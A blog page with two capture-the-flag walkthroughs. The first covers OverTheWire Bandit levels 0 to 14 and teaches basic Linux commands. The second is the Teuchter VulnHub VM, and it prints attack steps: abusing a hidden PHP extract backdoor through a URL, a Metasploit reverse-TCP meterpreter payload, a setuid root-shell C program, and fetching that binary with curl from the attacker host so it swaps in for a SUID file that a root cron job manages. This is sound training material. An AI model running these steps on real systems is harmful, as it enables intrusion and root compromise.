Hacking Articles|Raj Chandel's Blog

Today, we will play a war-game called Bandit. It has a collection of 34 levels. OverTheWire Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of most Linux commands in a fun and challenging way. To play this war-game, go to the Bandit website by clicking here.

Objective

Find the password file. It will give us access to the next level.

Table of Content:

• Level 0

• Level 0-1

• Level 1-2

• Level 2-3

• Level 3-4

• Level 4-5

• Level 5-6

• Level 6-7

• Level 7-8

• Level 8-9

• Level 9-10

• Level 10-11

• Level 11-12

• Level 12-13

• Level 13-14

Level 0

This is a pretty simple level. It teaches us to connect to a host using SSH. This is going to teach players the usage of SSH command.

We got the required information from reading the instruction page.

Host: bandit.labs.overthewire.org

Port: 2220

Username: bandit0

Password: bandit0

We used the above information to login using ssh as shown in the given image.

ssh bandit0@bandit.labs.overthewire.org -p 2220

This level doesn't require anything else other than logging in. Time to move in on the next level.

Level 0-1

Now, from the bandit0 shell, we need to find the password for logging as the next user. To find that password, we are going to list files in the directory. Our target is to find a file named readme. After finding that file, we need to read the password stored inside that file.

We use the ls command to list the files in the current directory. We found the readme file. Now to read the password we will use the cat command. After that, we are going to use the password to login into next level using SSH

ls -la

cat readme

ssh bandit1@localhost

Level 1-2

We are informed that the password for the next level is stored inside a file named -(hyphen). So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named -(hyphen) we won't be able to read it simply by cat command. As cat command considers -(hyphen) as stdin/Stout. If we directly use cat command, it won’t be able to understand that hyphen is a file name. So, we will prefix the command with the path ./, This will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit2. We will use it to get an SSH connection as bandit2.

cat ./-

ssh bandit2@localhost

Level 2-3

We are informed that the password for the next level is stored inside a file named spaces in this filename. So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named spaces in this filename, we won't be able to read it simply by cat command. As cat command reads files name only until space as it considers space as null '/0'. If we directly use cat command, it won’t be able to find the file. So, we will write the name of the file in quotes, this will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit3. We will use it to get an SSH connection as bandit3.

cat 'spaces in this filename'

ssh bandit3@localhost

Level 3-4

We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. Now it might be the case that the file is hidden. So, we run ls command with -al parameter. It lists all files including the hidden one. And we found the .hidden file. In Linux, the file with a dot(.) in front of the name of the file makes it hidden. Now we would simply use the cat command to read the password stored in the file. Since we found the password for the user bandit4. We will use it to get an SSH connection as bandit4.

cd inhere/

ls -al

cat .hidden

ssh bandit4@localhost

Level 4-5

We are informed that the password for the next level is stored inside a human-readable file. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file command to get the information about the files. From files command, we now know that the file07 contains ASCII text. It is mostly readable text. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit5.

ls -la

cd inhere/

file ./*

cat ./-file07

ssh bandit5@localhost

Level 5-6

We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file size to find the file. Find command has the parameter of size in which we have to use ‘c’ for depicting size in bytes. From find command, we now know that the file2 contains the password. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit6.

cd inhere/

find . -size 1033c

cat ./maybehere07/.file2

ssh bandit6@localhost

Level 6-7

We are informed that the password for the next level is stored somewhere on the server. So, finding the file over the server would be a lot trickier if we are using ls. So, we will try to widen our scope of search using the find command. We are hinted that the user of the file is bandit7 and it is a part of group bandit 6. We will add this information as parameters in the find command. We are given the size too. Let’s add that too. Now as we can see in the given image, we successfully located the password file hidden over the server.

find / -user bandit7 -group bandit6 -size 33c

cat /var/lib/dpkg/info/bandit7.password

ssh bandit7@localhost

From find command, we now know that the bandit7.password contains the credentials. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit7.

Level 7-8

We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now we are hinted that the password is written next to the word millionth in the data.txt file. This means if we find the millionth word, we find the password. We are going to use the grep command for finding millionth. Here we using the (|) Unix pipe. The Pipe connects the standard output from the first command and feeds it as standard input to the second command. In our case, first cat command reads the file and then the data inside the file is sent to grep command to work on. This gives us the password for the next level. We will use it to get an SSH connection as bandit8.

cat data.txt | grep millionth

ssh bandit8@localhost

Level 8-9

We are informed that the password for the next level is stored inside a file named data.txt. It is hinted that the password is the only line of text that occurs only once. Here we are going to use sort command to sort the text inside the data.txt file. But still, the file contains a lot of repeating statements so we will use the uniq command to print the not repeating statement. We are using multiple pipes here to get a filtered result. This gives us the password for the next level. We will use it to get an SSH connection as bandit9.

cat data.txt | sort | uniq -u

ssh bandit9@localhost

Level 9-10

We are informed that the password for the next level is stored inside a file named data.txt. We are hinted that the password is followed by several ‘=’ characters. Now if we are to use the cat command our screen would be filled with unreadable mesh. So, to get a more refined approach we are going to use strings command which prints character sequences that are at least 4 characters long. And to get to the exact location of the password, we are going to use grep. This gives us the password for the next level. We will use it to get an SSH connection as bandit10.

strings data.txt | grep =

ssh bandit10@localhost

Level 10-11

We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the password is encrypted in Base64. Now we can either read the file with cat command and decode the Base64 manually but we have a command in Linux that can do the heavy lifting for us. So, we use piping to use cat command and base64 command with d parameter to read and decode the text simultaneously. This gives us the password for the next level. We will use it to get an SSH connection as bandit11.

cat data.txt | base64 --decode

ssh bandit11@localhost

Level 11-12

We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the file containing the password has changed the format of letters in such a way that all the lowercase and uppercase letters have been rotated by 13 positions. If we can remember right that exactly what happens in ROT13 encryption. Now, to convert the text, we can use the ‘tr’ command. This command translates characters depending on the parameters provided. We used n-z and a-m because tr won’t continue to translate after the Z. This gives us the password for the next level. We will use it to get an SSH connection as bandit12.

cat data.txt | tr a-zA-Z n-za-mN-ZA-M

ssh bandit12@localhost

Level 12-13

We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. We are hinted that the file containing the password is in the form of a hex dump. Just out of curiosity, let’s read the file using the cat command. As we can see in the given image that the password is not at all readable. We are also told that the password file has been repeatedly compressed. Now to decompress we are going to need a directory with read and write permissions. The tmp directory in root contains the required permissions.

cat data.txt

So, let’s create a directory inside the tmp directory. Here we named it pavan. Now for further operations let’s copy the file in the directory we just created. Now let’s traverse to our directory using the cd command. Now we check if we have our file in this directory. Now to understand the type of file we are going to use the file command it returns us the type of file. On running the command, we are informed that the file is ASCII text. But as we saw earlier that it is not readable. The xxd command is used in Linux to make the hexdump of a file. It is also used to reverse this process. Let’s use it to retrieve the original file. We are going to use the ‘r’ parameter to revert the process and provide it with a filename where it should store its output. Here we will name it data1

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a gzip compressed file.

Now decompress first, we need to rename the file and provide it with a proper gzip extension. We are going to use the move command for this. We renamed the file as data2.gz. Now using the gzip command and -d parameter, we decompress the file.

mkdir /tmp/pavan

cp data.txt /tmp/pavan

cd /tmp/pavan

file data.txt

xxd -r data.txt data1

file data1

mv data1 data2.gz

gzip -d data2.gz

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a bzip2 compressed file.

Now to decompress first, we need to rename the file and provide it with a proper bzip2 extension. We are going to use the move command for this. We renamed the file as data3.bz2. Now using the bzip2 command and -d parameter, we decompress the file.

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a gzip compressed file.

Now decompress first, we need to rename the file and provide it with a proper gzip extension. We are going to use the move command for this. We renamed the file as data4.gz. Now using the gzip command and -d parameter, we decompress the file.

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a tar archive file.

Now to extract we will use the tar command with xvf parameters. This gives us a file named

data5.bin

file data2

mv data2 data3.bz2

bzip2 -d data3.bz2

file data3

mv data3 data4.gz

gzip -d data4.gz

file data4

tar -xvf data4

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a tar archive file. Now to extract we will use the tar command with xvf parameters. This gives us a file named data6.bin

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a bzip2 compressed file.

Now decompress first, we need to rename the file and provide it with a proper bzip2 extension. We are going to use the move command for this. We renamed the file as data7.bz2. Now using the bzip2 command and -d parameter, we decompress the file.

file data5.bin

tar -xvf data5.bin

file data6.bin

mv data6.bin data7.bz2

bzip2 -d data7.bz2

file data7

tar -xvf data7

Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a gzip compressed file.

Now decompress first, we need to rename the file and provide it with a proper gzip extension. We are going to use the move command for this. We renamed the file as data9.gz. Now using the gzip command and -d parameter, we decompress the file.

Now to understand the type of file we are going to use the file command it returns us the type of file. On running the command, we are informed that the file is ASCII text. This might be a readable file. We use the cat command to read the file. This gives us the password for the next level. We will use it to get an SSH connection as bandit13.

file data8.bin

mv data8.bin data9.gz

gzip -d data9.gz

file data9

cat data9

ssh bandit13@localhost

Level 13-14

We are informed that we are not going to get a password for the next level. Instead, we are given an ssh private key. So, to get to the next level we are going to use that ssh private key. Firstly, let’s find that private key using the ls command. We found the private key. Now we will use it to get an SSH connection as bandit14.

ssh bandit14@localhost -i sshkey.private

Hello friends!! Today we are going to solve latest CTF challenge “Teuchter” presented by vulnhub for penetration practice and design by knightmare. This virtual machine is having intermediate to medium difficulty level. One need to break into VM using web application and from there escalate privileges to gain root access.

Download it from here: https://www.vulnhub.com/entry/teuchter-03,163/

Penetrating Methodologies

§ Network Scanning (netdiscover, Nmap)

§ Abusing HTTP service for PHP extract backdoor

§ Compromise victim’s (Metasploit)

§ SUID Privilege escalation

§ Steganography for original flag.txt

Lets Start!!!

Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)

netdiscover

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.

nmap -A 192.168.1.104

Knowing port 80 is open in victim’s network I preferred to explore his IP in a browser. At first glance, we saw following web page. When couldn’t found something suspicious, so we try to check its source-code.

Hmmm!! After exploring source code page, you can analysis the “Green color text” sounds a little bit doubtful. Giving priority to /gallery /flicks and /telly we have considered them as the subjective web directories and then try to explore it in the web browser.

Also consider hint given for some extension like .pht for PHP.

So I opened the URL http://192.168.1.104/gallery/ but couldn’t get anything neither from its web page nor from its source code.

Then explored the URL http://192.168.1.104/telly/ and it put-up following web page in front of us and at looking at its page source code we notice something like flicks phpinfo.

So without wasting time we lunch directory brute-force attack on following URL for identify .php and .pht extension files.

dirb http:192.168.1.104/flicks/ -X .php, .pht

And from its result we find a phpinfo.pht file and explored it in the browser and it gives me an internal server error when I open it. So I search in Google phpinfo.php found this link: https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html

Thanks to Mr. Daniel B. Cid for sharing his experience because with help of above link we get the idea to exploit it. As the author has hidden the PHP extract backdoor inside the phpinfo.pht file and now whatever the attacker sends as “ctime” with “atime” as an argument it will be execute successfully.

As you can observe when we try to execute the system command “id” through the given below URL we got following result on the web page.

http:192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id

Let’s compromise the victim’s VM to get the meterpreter shell, therefore, we load metasploit framework and execute below commands.

use exploit/multi/script/web_delivery

msf exploit(multi/script/web_delivery) > set target 1

msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp

msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107

msf exploit(multi/script/web_delivery) > exploit

Copy the highlighted text for malicious PHP code and Paste it inside URL as an argument.

You will get meterpreter session of victim’s machine in your Metasploit framework and after then finished the task by grabbing flag.txt file. Further type following for extracting more information for post exploitation.

Here first I sysinfo command to enumerate install kernel version but didn’t found any working exploit for this VM therefore then I decide to go with manual approach for privilege escalation. Thus execute below commands:

cd /home

cd proclaimers

cd letterfromamerica

Here I found two files semaphore and test and if you will notice at their permissions then you will realize that SUID bit enabled for semaphore and GUID bit is enabled for test.

Now let access proper tty shell of victim’s VM and enumerate furthermore inside it.

shell

python3 -c "import pty; pty.spawn('/bin/bash');"

ooooh!! I got something suspicious from inside this path: /home/jkerr, a login.txt and promisedyouamiracle.jpg image. And after reading the note of the login.txt file I decided to download jpg image in our local machine.

Since the python 3 is already running therefore we execute following command for transferring file.

python3 -m http.server 8080

When we explored the promisedyouamiracle.jpg image in browser we got the following photo.

With help of exiftool we try to extract metadata from inside this image and luckily found the bas64 encoded text.

exiftool promisedyouamiracle.jpg

With the help of following command we try to decode the text and got “gemini” which could be possible password.

echo “Z2VtaW5pCg==” | base64 -d

Let try to login by using gemini as password for user: proclaimers because it holds two important files. Execute the following commands and extract the information.

su proclaimers

password: Gemini

cd proclaimers

cd letterfromamerica

ls -al

Ohhhh Great!! As declared above SUID bit enabled for the semaphore and GUID bit enabled for the test, let’s use grep command to get everything related to semaphore.

grep -R "semaphore" /usr/local 2>/dev/null

AwesomeJ, I got a script at this path /usr/local/bin/numpties.sh; let’s open it with cat command.

cat /usr/local/bin/numpties.sh

After reading it, I conclude that the cronjob will add the SUID bit to semaphore and also give root ownership to this file if the file exists.

No wonder, if I replace the original semaphore by the fake semaphore file then our fake file will get SUID permission. So in our local we write a C-program to get bsah shell and compile it.

include

#include

Int main ()

{

setuid(geteuid ());

system("/bin/bash");

}

gcc shell.c -o semaphore

python -m SimpleHTTPServer 80

Since we have complied file semaphores and also running python server therefore let’s download our fake semaphore at the place of original semaphores. Thus first I removed original semaphores and download complied file in same directory.

rm -rf semaphore

curl -O http://192.168.1.107/semaphore

After sometime when I checked the permission for the new semaphore I found the SUID bit was on. At that moment you should run the script which will give root terminal after getting executed and then look for flag inside /root directory.

ls -al

./semaphore

cd /root

cat flag.txt

This was not actual the flag let’s try to get the original flag

cd root

re-record-not-fade-away

ls -al

cd on

cd and

cd on

So on………… and at last you will get /ariston which holding a zip file “TeuchterESX.zip”.

cd ariston

Again run following command in current directory to transfer zip file.

python3 -m http.server 8080

Now download TeuchterESX.zip file in local machine and unzip it.

wget http://192.168.1.103:8080/ TeuchterESX.zip

unzip TeuchterESX.zip

password: Teuchter

We got a vmdk file and further ran following command to check list of present drive for mounting disk image.

fdisk -l

Here we saw /dev/sdb1 which looks good mounting disk image thus I install the vmfs-tools package.

So we have used vmfs-fuse to mount the drive and execute following commands:

mkdir Teuchter

vm-fuse /dev/sdb1 /root/Desktop/Teuchter/

cd Teuchter

cat hint.txt

In this text messages the author had given hint to check ISO for getting the password which is related to TV advert and it’s of 25 character.

So we mount the new folder /redkola.iso where we found an image file glass_ch.jpg with help of following command:

mount redkola.iso /root/Desktop/redkola

cd /root/Desktop/redkola

Further we opened the image “glass_ch.jpg” and it was a picture of Irn-Bru soft-drinks. Probably there could be chances of hidden text in this image therefore we tried steghide to extract out hidden text but when I execute following command it ask to enter some passphrase which we don’t know yet and it should above said 25 character which we need to be found.

steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt

Taking help of above hint and image I search Irn-bru-wiki and got this link https://en.wikipedia.org/wiki/Irn-Bru

And after spending a long time over wiki I got 25 character in ‘madeinscotlandfromgirders’, which was Irn-Bru advertising slogan and tried it as passphrase.

We entered above passphrase and extracted the text file on the desktop.

Congrats!! Finally we got the final flag.txt file as shown below………….

Pages

Hacking Articles|Raj Chandel's Blog

OVERTHEWIRE – Bandit Walkthrough (1-14)

Hack the Teuchter VM (CTF Challenge)

Labels

Popular Posts